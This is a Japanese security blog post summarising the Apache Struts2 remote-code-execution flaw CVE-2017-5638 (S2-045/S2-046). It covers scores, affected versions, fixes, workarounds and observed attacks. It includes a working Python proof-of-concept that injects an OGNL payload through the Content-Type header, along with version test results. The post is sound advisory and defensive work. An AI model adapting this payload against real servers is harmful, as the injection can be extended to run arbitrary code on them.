piyolog

piyokangoの備忘録です。セキュリティの出来事を中心にまとめています。このサイトはGoogle Analyticsを利用しています。

Struts2の脆弱性 CVE-2017-5638 (S2-045/S2-046)についてまとめてみた

2017年3月7日、Struts2にリモートから任意のコード実行可能な脆弱性が確認されたとして情報(S2-045)が公開されました。また同様の脆弱性が他にも存在するとして、2017年3月20日脆弱性情報(S2-046)も公開されています。ここでは脆弱性の関連情報をまとめます。

脆弱性の概要

対象 Apache Struts2
CVE CVE-2017-5638
影響 RCE
重要度 High(Apache Struts)
CVSS 7.3(Base) CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
7.5(Base) AV:N/AC:L/Au:N/C:P/I:P/A:P
(JVNより)
PoC インターネット上に公開済
悪用の状況 攻撃観測情報あり(2017/03/07)
発見者/報告者 Nike Zheng氏(S2-045)
Chris Frohoff氏、Alvaro Munoz氏(S2-046)

影響範囲

次のApache Struts 2が影響を受ける。

Struts2のバージョン確認方法
  • WFB-INFディレクトリ内のJARファイル「struts2-core」につけられているファイル名に含まれている。
  • JARファイル「struts2-core」に含まれる「MANIFEST.MF」にある「Bundle-Version」の表記で確認する。

(参考) Apache Struts2のバージョン調査について — (n)

対策

2017年3月8日付リリース以降のバージョンに更新する。

回避策

次のいずれかの回避策で脆弱性の影響を緩和できる場合がある。

  • パーサーをJakarta Multipart parser以外の実装に切り替える。但し「JakartaStreamMultiPartRequest」に変更しても同様の影響を受ける。
  • File Upload Interceptorを無効化する。
  • 「Content-Dispostion」「Content-Length」「Content-Type」に疑わしい値を含むリクエストを検証、破棄するサーブレットフィルタを実装する。

脆弱性の悪用の状況

  • NTTセキュリティ・ジャパンによれば、特に「36.45.172.93」からの攻撃が多数観測されている。

脆弱性により影響が出たとみられる事例

OCNIDの緊急メンテナンス

Struts 2の脆弱性によるものかは明らかにされていないが、「深刻な脆弱性が発見された」として、3月7日21時43分頃からOCNIDが緊急メンテナンスを実施している。(8日までにメンテナンスは全て完了)

脆弱性実証コード (PoC) - S2-045

Online版 (piyokango未検証)
CUI版 (piyokango一部検証済)
import requests
import sys
def poc(url):
    payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"
    headers = {}
    headers["Content-Type"] = payload
    r = requests.get(url, headers=headers)
    if "105059592" in r.content:
        return True

    return False

if __name__ == '__main__':
    if len(sys.argv) == 1:
        print "python s2-045.py target"
        sys.exit()
    if poc(sys.argv[1]):
        print "vulnerable"
    else:
        print "not vulnerable"
実証コードが動作する対象バージョン

次の検証環境にてPoCの動作状況を評価した結果、脆弱性が修正されたStruts 2.3.32/2.5.10.1ではPoCの結果が「not vulnerable」となった。

Strutsのバージョン PoCの実行結果
Apache Struts 2.3.31 vulnerable
Apache Struts 2.3.32 not vulnerable
Apache Struts 2.5.10 vulnerable
Apache Struts 2.5.10.1 not vulnerable
Apache Struts 1.3.10(参考) not vulnerable

更新履歴

  • 2017年3月8日 AM 新規作成
  • 2017年3月8日 AM PoC検証表の誤植(2.3.32/2.5.10.1のバージョン表記)を修正
  • 2017年3月8日 PM 修正版正式リリースに伴いリンク先を変更。
  • 2017年3月9日 PM 注意喚起、検証情報を追加。
  • 2017年3月11日 AM 悪用状況を追記
  • 2017年3月12日 AM 影響を受けたとみられる事例を追記。
  • 2017年3月14日 AM 攻撃観測情報を追記。
  • 2017年3月22日 AM S2-046を追記。